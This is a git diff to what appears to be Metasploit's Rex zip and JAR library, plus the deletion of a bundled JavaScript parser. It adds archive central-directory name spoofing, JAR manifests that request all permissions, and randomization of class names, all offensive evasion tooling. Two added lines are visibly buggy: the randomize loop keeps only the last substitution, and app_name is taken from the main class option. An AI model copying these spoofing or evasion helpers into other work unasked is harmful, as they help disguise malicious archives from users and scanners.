diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb
index 4943c7eeaa..168fa2b34d 100644
--- a/lib/rex/zip/archive.rb
+++ b/lib/rex/zip/archive.rb
@@ -17,15 +17,32 @@ class Archive
     @entries = []
   end
 
+  #
+  # Recursively adds a directory of files into the archive.
+  #
+  def add_r(dir)
+    path = File.dirname(dir)
+    Dir[File.join(dir, "**", "**")].each do |file|
+      relative = file.sub(/^#{path.chomp('/')}\//, '')
+      if File.directory?(file)
+        @entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil)
+      else
+        contents = File.read(file, :mode => 'rb')
+        @entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil)
+      end
+    end
+  end
 
   #
   # Create a new Entry and add it to the archive.
   #
   # If fdata is set, the file is populated with that data
   # from the calling method. If fdata is nil, then the
-  # fs is checked for the file.
+  # fs is checked for the file. If central_dir_name is set
+  # it will be used to spoof the name at the Central Directory
+  # at packing time.
   #
-  def add_file(fname, fdata=nil, xtra=nil, comment=nil)
+  def add_file(fname, fdata=nil, xtra=nil, comment=nil, central_dir_name=nil)
     if (not fdata)
       begin
         st = File.stat(fname)
@@ -47,7 +64,7 @@ class Archive
       end
     end
 
-    @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment)
+    @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment, central_dir_name)
   end
 
 
diff --git a/lib/rex/zip/blocks.rb b/lib/rex/zip/blocks.rb
index 913500c939..3f0da7ecba 100644
--- a/lib/rex/zip/blocks.rb
+++ b/lib/rex/zip/blocks.rb
@@ -116,7 +116,11 @@ class CentralDir
   end
 
   def pack
-    path = @entry.relative_path
+    if @entry.central_dir_name.blank?
+      path = @entry.relative_path
+    else
+      path = @entry.central_dir_path
+    end
 
     ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
     ret << [ ZIP_VERSION ].pack('v')
diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb
index 4aee16e761..b1c4a352dc 100644
--- a/lib/rex/zip/entry.rb
+++ b/lib/rex/zip/entry.rb
@@ -8,11 +8,12 @@ module Zip
 #
 class Entry
 
-  attr_accessor :name, :flags, :info, :xtra, :comment, :attrs
+  attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
   attr_reader :data
 
-  def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil)
+  def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
     @name = fname.unpack("C*").pack("C*")
+    @central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
     @data = data.unpack("C*").pack("C*")
     @xtra = xtra
     @xtra ||= ''
@@ -71,10 +72,12 @@ class Entry
 
 
   def relative_path
-    if (@name[0,1] == '/')
-      return @name[1,@name.length]
-    end
-    @name
+    get_relative_path(@name)
+  end
+
+  def central_dir_path
+    return nil if @central_dir_name.blank?
+    get_relative_path(@central_dir_name)
   end
 
 
@@ -104,6 +107,15 @@ class Entry
     "#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
   end
 
+  private
+
+  def get_relative_path(path)
+    if (path[0,1] == '/')
+      return path[1, path.length]
+    end
+    path
+  end
+
 end
 
 end
diff --git a/lib/rex/zip/jar.rb b/lib/rex/zip/jar.rb
index f9154ebbc9..3fae79ec44 100644
--- a/lib/rex/zip/jar.rb
+++ b/lib/rex/zip/jar.rb
@@ -15,6 +15,17 @@ module Zip
 #
 class Jar < Archive
   attr_accessor :manifest
+  # @!attribute [rw] substitutions
+  #   The substitutions to apply when randomizing. Randomization is designed to
+  #   be used in packages and/or classes names.
+  #
+  #   @return [Hash]
+  attr_accessor :substitutions
+
+  def initialize
+    @substitutions = {}
+    super
+  end
 
   #
   # Create a MANIFEST.MF file based on the current Archive#entries.
@@ -35,11 +46,14 @@ class Jar < Archive
   # The SHA1-Digest lines are optional unless the jar is signed (see #sign).
   #
   def build_manifest(opts={})
-    main_class = opts[:main_class] || nil
+    main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
+    app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil)
     existing_manifest = nil
 
     @manifest =  "Manifest-Version: 1.0\r\n"
     @manifest << "Main-Class: #{main_class}\r\n" if main_class
+    @manifest << "Application-Name: #{app_name}\r\n" if app_name
+    @manifest << "Permissions: all-permissions\r\n"
     @manifest << "\r\n"
     @entries.each { |e|
       next if e.name =~ %r|/$|
@@ -221,6 +235,47 @@ class Jar < Archive
     return true
   end
 
+  # Adds a file to the JAR, randomizing the file name
+  # and the contents.
+  #
+  # @see Rex::Zip::Archive#add_file
+  def add_file(fname, fdata=nil, xtra=nil, comment=nil)
+    super(randomize(fname), randomize(fdata), xtra, comment)
+  end
+
+  # Adds a substitution to have into account when randomizing. Substitutions
+  # must be added immediately after {#initialize}.
+  #
+  # @param str [String] String to substitute. It's designed to randomize
+  #   class and/or package names.
+  # @param bad [String] String containing bad characters to avoid when
+  #   applying substitutions.
+  # @return [String] The substitution which will be used when randomizing.
+  def add_sub(str, bad = '')
+    if @substitutions.key?(str)
+      return @substitutions[str]
+    end
+
+    @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
+  end
+
+  # Randomizes an input by applying the `substitutions` available.
+  #
+  # @param str [String] String to randomize.
+  # @return [String] The input `str` with all the possible `substitutions`
+  #   applied.
+  def randomize(str)
+    return str if str.nil?
+
+    random = str
+
+    @substitutions.each do |orig, subs|
+      random = str.gsub(orig, subs)
+    end
+
+    random
+  end
+
 end
 
 end
diff --git a/lib/rkelly.rb b/lib/rkelly.rb
deleted file mode 100644
index e711e4d06e..0000000000
--- a/lib/rkelly.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'rkelly/constants'
-require 'rkelly/visitable'
-require 'rkelly/visitors'
-require 'rkelly/parser'
-require 'rkelly/runtime'
-require 'rkelly/syntax_error'
-
-module RKelly
-  class << self
-    def parse *args
-      RKelly::Parser.new.parse(*args)
-    end
-  end
-end
diff --git a/lib/rkelly/constants.rb b/lib/rkelly/constants.rb
deleted file mode 100644
index 6bb7385294..0000000000
--- a/lib/rkelly/constants.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module RKelly
-  VERSION = '1.0.3'
-end
diff --git a/lib/rkelly/generated_parser.output b/lib/rkelly/generated_parser.output
deleted file mode 100644
index 03274af04a..0000000000
--- a/lib/rkelly/generated_parser.output
+++ /dev/null
@@ -1,11641 +0,0 @@
-
-
--------- Grammar --------
-
-rule 1 SourceElements: 
-rule 2 SourceElements: SourceElementList
-rule 3 SourceElementList: SourceElement
-rule 4 SourceElementList: SourceElementList SourceElement
-rule 5 SourceElement: FunctionDeclaration
-rule 6 SourceElement: Statement
-rule 7 Statement: Block
-rule 8 Statement: VariableStatement
-rule 9 Statement: ConstStatement
-rule 10 Statement: EmptyStatement
-rule 11 Statement: ExprStatement
-rule 12 Statement: IfStatement
-rule 13 Statement: IterationStatement
-rule 14 Statement: ContinueStatement
-rule 15 Statement: BreakStatement
-rule 16 Statement: ReturnStatement
-rule 17 Statement: WithStatement
-rule 18 Statement: SwitchStatement
-rule 19 Statement: LabelledStatement
-rule 20 Statement: ThrowStatement
-rule 21 Statement: TryStatement
-rule 22 Statement: DebuggerStatement
-rule 23 Literal: NULL
-rule 24 Literal: TRUE
-rule 25 Literal: FALSE
-rule 26 Literal: NUMBER
-rule 27 Literal: STRING
-rule 28 Literal: REGEXP
-rule 29 Property: IDENT ":" AssignmentExpr
-rule 30 Property: STRING ":" AssignmentExpr
-rule 31 Property: NUMBER ":" AssignmentExpr
-rule 32 Property: IDENT IDENT "(" ")" "{" FunctionBody "}"
-rule 33 Property: IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody "}"
-rule 34 PropertyList: Property
-rule 35 PropertyList: PropertyList "," Property
-rule 36 PrimaryExpr: PrimaryExprNoBrace
-rule 37 PrimaryExpr: "{" "}"
-rule 38 PrimaryExpr: "{" PropertyList "}"
-rule 39 PrimaryExpr: "{" PropertyList "," "}"
-rule 40 PrimaryExprNoBrace: THIS
-rule 41 PrimaryExprNoBrace: Literal
-rule 42 PrimaryExprNoBrace: ArrayLiteral
-rule 43 PrimaryExprNoBrace: IDENT
-rule 44 PrimaryExprNoBrace: "(" Expr ")"
-rule 45 ArrayLiteral: "[" ElisionOpt "]"
-rule 46 ArrayLiteral: "[" ElementList "]"
-rule 47 ArrayLiteral: "[" ElementList "," ElisionOpt "]"
-rule 48 ElementList: ElisionOpt AssignmentExpr
-rule 49 ElementList: ElementList "," ElisionOpt AssignmentExpr
-rule 50 ElisionOpt: 
-rule 51 ElisionOpt: Elision
-rule 52 Elision: ","
-rule 53 Elision: Elision ","
-rule 54 MemberExpr: PrimaryExpr
-rule 55 MemberExpr: FunctionExpr
-rule 56 MemberExpr: MemberExpr "[" Expr "]"
-rule 57 MemberExpr: MemberExpr "." IDENT
-rule 58 MemberExpr: NEW MemberExpr Arguments
-rule 59 MemberExprNoBF: PrimaryExprNoBrace
-rule 60 MemberExprNoBF: MemberExprNoBF "[" Expr "]"
-rule 61 MemberExprNoBF: MemberExprNoBF "." IDENT
-rule 62 MemberExprNoBF: NEW MemberExpr Arguments
-rule 63 NewExpr: MemberExpr
-rule 64 NewExpr: NEW NewExpr
-rule 65 NewExprNoBF: MemberExprNoBF
-rule 66 NewExprNoBF: NEW NewExpr
-rule 67 CallExpr: MemberExpr Arguments
-rule 68 CallExpr: CallExpr Arguments
-rule 69 CallExpr: CallExpr "[" Expr "]"
-rule 70 CallExpr: CallExpr "." IDENT
-rule 71 CallExprNoBF: MemberExprNoBF Arguments
-rule 72 CallExprNoBF: CallExprNoBF Arguments
-rule 73 CallExprNoBF: CallExprNoBF "[" Expr "]"
-rule 74 CallExprNoBF: CallExprNoBF "." IDENT
-rule 75 Arguments: "(" ")"
-rule 76 Arguments: "(" ArgumentList ")"
-rule 77 ArgumentList: AssignmentExpr
-rule 78 ArgumentList: ArgumentList "," AssignmentExpr
-rule 79 LeftHandSideExpr: NewExpr
-rule 80 LeftHandSideExpr: CallExpr
-rule 81 LeftHandSideExprNoBF: NewExprNoBF
-rule 82 LeftHandSideExprNoBF: CallExprNoBF
-rule 83 PostfixExpr: LeftHandSideExpr
-rule 84 PostfixExpr: LeftHandSideExpr PLUSPLUS
-rule 85 PostfixExpr: LeftHandSideExpr MINUSMINUS
-rule 86 PostfixExprNoBF: LeftHandSideExprNoBF
-rule 87 PostfixExprNoBF: LeftHandSideExprNoBF PLUSPLUS
-rule 88 PostfixExprNoBF: LeftHandSideExprNoBF MINUSMINUS
-rule 89 UnaryExprCommon: DELETE UnaryExpr
-rule 90 UnaryExprCommon: VOID UnaryExpr
-rule 91 UnaryExprCommon: TYPEOF UnaryExpr
-rule 92 UnaryExprCommon: PLUSPLUS UnaryExpr
-rule 93 UnaryExprCommon: MINUSMINUS UnaryExpr
-rule 94 UnaryExprCommon: "+" UnaryExpr
-rule 95 UnaryExprCommon: "-" UnaryExpr
-rule 96 UnaryExprCommon: "~" UnaryExpr
-rule 97 UnaryExprCommon: "!" UnaryExpr
-rule 98 UnaryExpr: PostfixExpr
-rule 99 UnaryExpr: UnaryExprCommon
-rule 100 UnaryExprNoBF: PostfixExprNoBF
-rule 101 UnaryExprNoBF: UnaryExprCommon
-rule 102 MultiplicativeExpr: UnaryExpr
-rule 103 MultiplicativeExpr: MultiplicativeExpr "*" UnaryExpr
-rule 104 MultiplicativeExpr: MultiplicativeExpr "/" UnaryExpr
-rule 105 MultiplicativeExpr: MultiplicativeExpr "%" UnaryExpr
-rule 106 MultiplicativeExprNoBF: UnaryExprNoBF
-rule 107 MultiplicativeExprNoBF: MultiplicativeExprNoBF "*" UnaryExpr
-rule 108 MultiplicativeExprNoBF: MultiplicativeExprNoBF "/" UnaryExpr
-rule 109 MultiplicativeExprNoBF: MultiplicativeExprNoBF "%" UnaryExpr
-rule 110 AdditiveExpr: MultiplicativeExpr
-rule 111 AdditiveExpr: AdditiveExpr "+" MultiplicativeExpr
-rule 112 AdditiveExpr: AdditiveExpr "-" MultiplicativeExpr
-rule 113 AdditiveExprNoBF: MultiplicativeExprNoBF
-rule 114 AdditiveExprNoBF: AdditiveExprNoBF "+" MultiplicativeExpr
-rule 115 AdditiveExprNoBF: AdditiveExprNoBF "-" MultiplicativeExpr
-rule 116 ShiftExpr: AdditiveExpr
-rule 117 ShiftExpr: ShiftExpr LSHIFT AdditiveExpr
-rule 118 ShiftExpr: ShiftExpr RSHIFT AdditiveExpr
-rule 119 ShiftExpr: ShiftExpr URSHIFT AdditiveExpr
-rule 120 ShiftExprNoBF: AdditiveExprNoBF
-rule 121 ShiftExprNoBF: ShiftExprNoBF LSHIFT AdditiveExpr
-rule 122 ShiftExprNoBF: ShiftExprNoBF RSHIFT AdditiveExpr
-rule 123 ShiftExprNoBF: ShiftExprNoBF URSHIFT AdditiveExpr
-rule 124 RelationalExpr: ShiftExpr
-rule 125 RelationalExpr: RelationalExpr "<" ShiftExpr
-rule 126 RelationalExpr: RelationalExpr ">" ShiftExpr
-rule 127 RelationalExpr: RelationalExpr LE ShiftExpr
-rule 128 RelationalExpr: RelationalExpr GE ShiftExpr
-rule 129 RelationalExpr: RelationalExpr INSTANCEOF ShiftExpr
-rule 130 RelationalExpr: RelationalExpr IN ShiftExpr
-rule 131 RelationalExprNoIn: ShiftExpr
-rule 132 RelationalExprNoIn: RelationalExprNoIn "<" ShiftExpr
-rule 133 RelationalExprNoIn: RelationalExprNoIn ">" ShiftExpr
-rule 134 RelationalExprNoIn: RelationalExprNoIn LE ShiftExpr
-rule 135 RelationalExprNoIn: RelationalExprNoIn GE ShiftExpr
-rule 136 RelationalExprNoIn: RelationalExprNoIn INSTANCEOF ShiftExpr
-rule 137 RelationalExprNoBF: ShiftExprNoBF
-rule 138 RelationalExprNoBF: RelationalExprNoBF "<" ShiftExpr
-rule 139 RelationalExprNoBF: RelationalExprNoBF ">" ShiftExpr
-rule 140 RelationalExprNoBF: RelationalExprNoBF LE ShiftExpr
-rule 141 RelationalExprNoBF: RelationalExprNoBF GE ShiftExpr
-rule 142 RelationalExprNoBF: RelationalExprNoBF INSTANCEOF ShiftExpr
-rule 143 RelationalExprNoBF: RelationalExprNoBF IN ShiftExpr
-rule 144 EqualityExpr: RelationalExpr
-rule 145 EqualityExpr: EqualityExpr EQEQ RelationalExpr
-rule 146 EqualityExpr: EqualityExpr NE RelationalExpr
-rule 147 EqualityExpr: EqualityExpr STREQ RelationalExpr
-rule 148 EqualityExpr: EqualityExpr STRNEQ RelationalExpr
-rule 149 EqualityExprNoIn: RelationalExprNoIn
-rule 150 EqualityExprNoIn: EqualityExprNoIn EQEQ RelationalExprNoIn
-rule 151 EqualityExprNoIn: EqualityExprNoIn NE RelationalExprNoIn
-rule 152 EqualityExprNoIn: EqualityExprNoIn STREQ RelationalExprNoIn
-rule 153 EqualityExprNoIn: EqualityExprNoIn STRNEQ RelationalExprNoIn
-rule 154 EqualityExprNoBF: RelationalExprNoBF
-rule 155 EqualityExprNoBF: EqualityExprNoBF EQEQ RelationalExpr
-rule 156 EqualityExprNoBF: EqualityExprNoBF NE RelationalExpr
-rule 157 EqualityExprNoBF: EqualityExprNoBF STREQ RelationalExpr
-rule 158 EqualityExprNoBF: EqualityExprNoBF STRNEQ RelationalExpr
-rule 159 BitwiseANDExpr: EqualityExpr
-rule 160 BitwiseANDExpr: BitwiseANDExpr "&" EqualityExpr
-rule 161 BitwiseANDExprNoIn: EqualityExprNoIn
-rule 162 BitwiseANDExprNoIn: BitwiseANDExprNoIn "&" EqualityExprNoIn
-rule 163 BitwiseANDExprNoBF: EqualityExprNoBF
-rule 164 BitwiseANDExprNoBF: BitwiseANDExprNoBF "&" EqualityExpr
-rule 165 BitwiseXORExpr: BitwiseANDExpr
-rule 166 BitwiseXORExpr: BitwiseXORExpr "^" BitwiseANDExpr
-rule 167 BitwiseXORExprNoIn: BitwiseANDExprNoIn
-rule 168 BitwiseXORExprNoIn: BitwiseXORExprNoIn "^" BitwiseANDExprNoIn
-rule 169 BitwiseXORExprNoBF: BitwiseANDExprNoBF
-rule 170 BitwiseXORExprNoBF: BitwiseXORExprNoBF "^" BitwiseANDExpr
-rule 171 BitwiseORExpr: BitwiseXORExpr
-rule 172 BitwiseORExpr: BitwiseORExpr "|" BitwiseXORExpr
-rule 173 BitwiseORExprNoIn: BitwiseXORExprNoIn
-rule 174 BitwiseORExprNoIn: BitwiseORExprNoIn "|" BitwiseXORExprNoIn
-rule 175 BitwiseORExprNoBF: BitwiseXORExprNoBF
-rule 176 BitwiseORExprNoBF: BitwiseORExprNoBF "|" BitwiseXORExpr
-rule 177 LogicalANDExpr: BitwiseORExpr
-rule 178 LogicalANDExpr: LogicalANDExpr AND BitwiseORExpr
-rule 179 LogicalANDExprNoIn: BitwiseORExprNoIn
-rule 180 LogicalANDExprNoIn: LogicalANDExprNoIn AND BitwiseORExprNoIn
-rule 181 LogicalANDExprNoBF: BitwiseORExprNoBF
-rule 182 LogicalANDExprNoBF: LogicalANDExprNoBF AND BitwiseORExpr
-rule 183 LogicalORExpr: LogicalANDExpr
-rule 184 LogicalORExpr: LogicalORExpr OR LogicalANDExpr
-rule 185 LogicalORExprNoIn: LogicalANDExprNoIn
-rule 186 LogicalORExprNoIn: LogicalORExprNoIn OR LogicalANDExprNoIn
-rule 187 LogicalORExprNoBF: LogicalANDExprNoBF
-rule 188 LogicalORExprNoBF: LogicalORExprNoBF OR LogicalANDExpr
-rule 189 ConditionalExpr: LogicalORExpr
-rule 190 ConditionalExpr: LogicalORExpr "?" AssignmentExpr ":" AssignmentExpr
-rule 191 ConditionalExprNoIn: LogicalORExprNoIn
-rule 192 ConditionalExprNoIn: LogicalORExprNoIn "?" AssignmentExprNoIn ":" AssignmentExprNoIn
-rule 193 ConditionalExprNoBF: LogicalORExprNoBF
-rule 194 ConditionalExprNoBF: LogicalORExprNoBF "?" AssignmentExpr ":" AssignmentExpr
-rule 195 AssignmentExpr: ConditionalExpr
-rule 196 AssignmentExpr: LeftHandSideExpr AssignmentOperator AssignmentExpr
-rule 197 AssignmentExprNoIn: ConditionalExprNoIn
-rule 198 AssignmentExprNoIn: LeftHandSideExpr AssignmentOperator AssignmentExprNoIn
-rule 199 AssignmentExprNoBF: ConditionalExprNoBF
-rule 200 AssignmentExprNoBF: LeftHandSideExprNoBF AssignmentOperator AssignmentExpr
-rule 201 AssignmentOperator: "="
-rule 202 AssignmentOperator: PLUSEQUAL
-rule 203 AssignmentOperator: MINUSEQUAL
-rule 204 AssignmentOperator: MULTEQUAL
-rule 205 AssignmentOperator: DIVEQUAL
-rule 206 AssignmentOperator: LSHIFTEQUAL
-rule 207 AssignmentOperator: RSHIFTEQUAL
-rule 208 AssignmentOperator: URSHIFTEQUAL
-rule 209 AssignmentOperator: ANDEQUAL
-rule 210 AssignmentOperator: XOREQUAL
-rule 211 AssignmentOperator: OREQUAL
-rule 212 AssignmentOperator: MODEQUAL
-rule 213 Expr: AssignmentExpr
-rule 214 Expr: Expr "," AssignmentExpr
-rule 215 ExprNoIn: AssignmentExprNoIn
-rule 216 ExprNoIn: ExprNoIn "," AssignmentExprNoIn
-rule 217 ExprNoBF: AssignmentExprNoBF
-rule 218 ExprNoBF: ExprNoBF "," AssignmentExpr
-rule 219 Block: "{" SourceElements "}"
-rule 220 VariableStatement: VAR VariableDeclarationList ";"
-rule 221 VariableStatement: VAR VariableDeclarationList error
-rule 222 VariableDeclarationList: VariableDeclaration
-rule 223 VariableDeclarationList: VariableDeclarationList "," VariableDeclaration
-rule 224 VariableDeclarationListNoIn: VariableDeclarationNoIn
-rule 225 VariableDeclarationListNoIn: VariableDeclarationListNoIn "," VariableDeclarationNoIn
-rule 226 VariableDeclaration: IDENT
-rule 227 VariableDeclaration: IDENT Initializer
-rule 228 VariableDeclarationNoIn: IDENT
-rule 229 VariableDeclarationNoIn: IDENT InitializerNoIn
-rule 230 ConstStatement: CONST ConstDeclarationList ";"
-rule 231 ConstStatement: CONST ConstDeclarationList error
-rule 232 ConstDeclarationList: ConstDeclaration
-rule 233 ConstDeclarationList: ConstDeclarationList "," ConstDeclaration
-rule 234 ConstDeclaration: IDENT
-rule 235 ConstDeclaration: IDENT Initializer
-rule 236 Initializer: "=" AssignmentExpr
-rule 237 InitializerNoIn: "=" AssignmentExprNoIn
-rule 238 EmptyStatement: ";"
-rule 239 ExprStatement: ExprNoBF ";"
-rule 240 ExprStatement: ExprNoBF error
-rule 241 IfStatement: IF "(" Expr ")" Statement
-rule 242 IfStatement: IF "(" Expr ")" Statement ELSE Statement
-rule 243 IterationStatement: DO Statement WHILE "(" Expr ")" ";"
-rule 244 IterationStatement: DO Statement WHILE "(" Expr ")" error
-rule 245 IterationStatement: WHILE "(" Expr ")" Statement
-rule 246 IterationStatement: FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement
-rule 247 IterationStatement: FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement
-rule 248 IterationStatement: FOR "(" LeftHandSideExpr IN Expr ")" Statement
-rule 249 IterationStatement: FOR "(" VAR IDENT IN Expr ")" Statement
-rule 250 IterationStatement: FOR "(" VAR IDENT InitializerNoIn IN Expr ")" Statement
-rule 251 ExprOpt: 
-rule 252 ExprOpt: Expr
-rule 253 ExprNoInOpt: 
-rule 254 ExprNoInOpt: ExprNoIn
-rule 255 ContinueStatement: CONTINUE ";"
-rule 256 ContinueStatement: CONTINUE error
-rule 257 ContinueStatement: CONTINUE IDENT ";"
-rule 258 ContinueStatement: CONTINUE IDENT error
-rule 259 BreakStatement: BREAK ";"
-rule 260 BreakStatement: BREAK error
-rule 261 BreakStatement: BREAK IDENT ";"
-rule 262 BreakStatement: BREAK IDENT error
-rule 263 ReturnStatement: RETURN ";"
-rule 264 ReturnStatement: RETURN error
-rule 265 ReturnStatement: RETURN Expr ";"
-rule 266 ReturnStatement: RETURN Expr error
-rule 267 WithStatement: WITH "(" Expr ")" Statement
-rule 268 SwitchStatement: SWITCH "(" Expr ")" CaseBlock
-rule 269 CaseBlock: "{" CaseClausesOpt "}"
-rule 270 CaseBlock: "{" CaseClausesOpt DefaultClause CaseClausesOpt "}"
-rule 271 CaseClausesOpt: 
-rule 272 CaseClausesOpt: CaseClauses
-rule 273 CaseClauses: CaseClause
-rule 274 CaseClauses: CaseClauses CaseClause
-rule 275 CaseClause: CASE Expr ":" SourceElements
-rule 276 DefaultClause: DEFAULT ":" SourceElements
-rule 277 LabelledStatement: IDENT ":" Statement
-rule 278 ThrowStatement: THROW Expr ";"
-rule 279 ThrowStatement: THROW Expr error
-rule 280 TryStatement: TRY Block FINALLY Block
-rule 281 TryStatement: TRY Block CATCH "(" IDENT ")" Block
-rule 282 TryStatement: TRY Block CATCH "(" IDENT ")" Block FINALLY Block
-rule 283 DebuggerStatement: DEBUGGER ";"
-rule 284 DebuggerStatement: DEBUGGER error
-rule 285 FunctionDeclaration: FUNCTION IDENT "(" ")" "{" FunctionBody "}"
-rule 286 FunctionDeclaration: FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}"
-rule 287 FunctionExpr: FUNCTION "(" ")" "{" FunctionBody "}"
-rule 288 FunctionExpr: FUNCTION "(" FormalParameterList ")" "{" FunctionBody "}"
-rule 289 FunctionExpr: FUNCTION IDENT "(" ")" "{" FunctionBody "}"
-rule 290 FunctionExpr: FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}"
-rule 291 FormalParameterList: IDENT
-rule 292 FormalParameterList: FormalParameterList "," IDENT
-rule 293 FunctionBody: SourceElements
-
-------- Symbols -------
-
-**Nonterminals, with rules where they appear
-
-  $start (88)
-    on right: 
-    on left : 
-  SourceElements (89)
-    on right: 219 275 276 293
-    on left : 1 2
-  SourceElementList (90)
-    on right: 2 4
-    on left : 3 4
-  SourceElement (91)
-    on right: 3 4
-    on left : 5 6
-  FunctionDeclaration (92)
-    on right: 5
-    on left : 285 286
-  Statement (93)
-    on right: 6 241 242 243 244 245 246 247 248 249 250 267 277
-    on left : 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
-  Block (94)
-    on right: 7 280 281 282
-    on left : 219
-  VariableStatement (95)
-    on right: 8
-    on left : 220 221
-  ConstStatement (96)
-    on right: 9
-    on left : 230 231
-  EmptyStatement (97)
-    on right: 10
-    on left : 238
-  ExprStatement (98)
-    on right: 11
-    on left : 239 240
-  IfStatement (99)
-    on right: 12
-    on left : 241 242
-  IterationStatement (100)
-    on right: 13
-    on left : 243 244 245 246 247 248 249 250
-  ContinueStatement (101)
-    on right: 14
-    on left : 255 256 257 258
-  BreakStatement (102)
-    on right: 15
-    on left : 259 260 261 262
-  ReturnStatement (103)
-    on right: 16
-    on left : 263 264 265 266
-  WithStatement (104)
-    on right: 17
-    on left : 267
-  SwitchStatement (105)
-    on right: 18
-    on left : 268
-  LabelledStatement (106)
-    on right: 19
-    on left : 277
-  ThrowStatement (107)
-    on right: 20
-    on left : 278 279
-  TryStatement (108)
-    on right: 21
-    on left : 280 281 282
-  DebuggerStatement (109)
-    on right: 22
-    on left : 283 284
-  Literal (110)
-    on right: 41
-    on left : 23 24 25 26 27 28
-  Property (111)
-    on right: 34 35
-    on left : 29 30 31 32 33
-  AssignmentExpr (112)
-    on right: 29 30 31 48 49 77 78 190 194 196 200 213 214 218 236
-    on left : 195 196
-  FunctionBody (113)
-    on right: 32 33 285 286 287 288 289 290
-    on left : 293
-  FormalParameterList (114)
-    on right: 33 286 288 290 292
-    on left : 291 292
-  PropertyList (115)
-    on right: 35 38 39
-    on left : 34 35
-  PrimaryExpr (116)
-    on right: 54
-    on left : 36 37 38 39
-  PrimaryExprNoBrace (117)
-    on right: 36 59
-    on left : 40 41 42 43 44
-  ArrayLiteral (118)
-    on right: 42
-    on left : 45 46 47
-  Expr (119)
-    on right: 44 56 60 69 73 214 241 242 243 244 245 248 249 250 252 265 266 267 268 275 278 279
-    on left : 213 214
-  ElisionOpt (120)
-    on right: 45 47 48 49
-    on left : 50 51
-  ElementList (121)
-    on right: 46 47 49
-    on left : 48 49
-  Elision (122)
-    on right: 51 53
-    on left : 52 53
-  MemberExpr (123)
-    on right: 56 57 58 62 63 67
-    on left : 54 55 56 57 58
-  FunctionExpr (124)
-    on right: 55
-    on left : 287 288 289 290
-  Arguments (125)
-    on right: 58 62 67 68 71 72
-    on left : 75 76
-  MemberExprNoBF (126)
-    on right: 60 61 65 71
-    on left : 59 60 61 62
-  NewExpr (127)
-    on right: 64 66 79
-    on left : 63 64
-  NewExprNoBF (128)
-    on right: 81
-    on left : 65 66
-  CallExpr (129)
-    on right: 68 69 70 80
-    on left : 67 68 69 70
-  CallExprNoBF (130)
-    on right: 72 73 74 82
-    on left : 71 72 73 74
-  ArgumentList (131)
-    on right: 76 78
-    on left : 77 78
-  LeftHandSideExpr (132)
-    on right: 83 84 85 196 198 248
-    on left : 79 80
-  LeftHandSideExprNoBF (133)
-    on right: 86 87 88 200
-    on left : 81 82
-  PostfixExpr (134)
-    on right: 98
-    on left : 83 84 85
-  PostfixExprNoBF (135)
-    on right: 100
-    on left : 86 87 88
-  UnaryExprCommon (136)
-    on right: 99 101
-    on left : 89 90 91 92 93 94 95 96 97
-  UnaryExpr (137)
-    on right: 89 90 91 92 93 94 95 96 97 102 103 104 105 107 108 109
-    on left : 98 99
-  UnaryExprNoBF (138)
-    on right: 106
-    on left : 100 101
-  MultiplicativeExpr (139)
-    on right: 103 104 105 110 111 112 114 115
-    on left : 102 103 104 105
-  MultiplicativeExprNoBF (140)
-    on right: 107 108 109 113
-    on left : 106 107 108 109
-  AdditiveExpr (141)
-    on right: 111 112 116 117 118 119 121 122 123
-    on left : 110 111 112
-  AdditiveExprNoBF (142)
-    on right: 114 115 120
-    on left : 113 114 115
-  ShiftExpr (143)
-    on right: 117 118 119 124 125 126 127 128 129 130 131 132 133 134 135 136 138 139 140 141 142 143
-    on left : 116 117 118 119
-  ShiftExprNoBF (144)
-    on right: 121 122 123 137
-    on left : 120 121 122 123
-  RelationalExpr (145)
-    on right: 125 126 127 128 129 130 144 145 146 147 148 155 156 157 158
-    on left : 124 125 126 127 128 129 130
-  RelationalExprNoIn (146)
-    on right: 132 133 134 135 136 149 150 151 152 153
-    on left : 131 132 133 134 135 136
-  RelationalExprNoBF (147)
-    on right: 138 139 140 141 142 143 154
-    on left : 137 138 139 140 141 142 143
-  EqualityExpr (148)
-    on right: 145 146 147 148 159 160 164
-    on left : 144 145 146 147 148
-  EqualityExprNoIn (149)
-    on right: 150 151 152 153 161 162
-    on left : 149 150 151 152 153
-  EqualityExprNoBF (150)
-    on right: 155 156 157 158 163
-    on left : 154 155 156 157 158
-  BitwiseANDExpr (151)
-    on right: 160 165 166 170
-    on left : 159 160
-  BitwiseANDExprNoIn (152)
-    on right: 162 167 168
-    on left : 161 162
-  BitwiseANDExprNoBF (153)
-    on right: 164 169
-    on left : 163 164
-  BitwiseXORExpr (154)
-    on right: 166 171 172 176
-    on left : 165 166
-  BitwiseXORExprNoIn (155)
-    on right: 168 173 174
-    on left : 167 168
-  BitwiseXORExprNoBF (156)
-    on right: 170 175
-    on left : 169 170
-  BitwiseORExpr (157)
-    on right: 172 177 178 182
-    on left : 171 172
-  BitwiseORExprNoIn (158)
-    on right: 174 179 180
-    on left : 173 174
-  BitwiseORExprNoBF (159)
-    on right: 176 181
-    on left : 175 176
-  LogicalANDExpr (160)
-    on right: 178 183 184 188
-    on left : 177 178
-  LogicalANDExprNoIn (161)
-    on right: 180 185 186
-    on left : 179 180
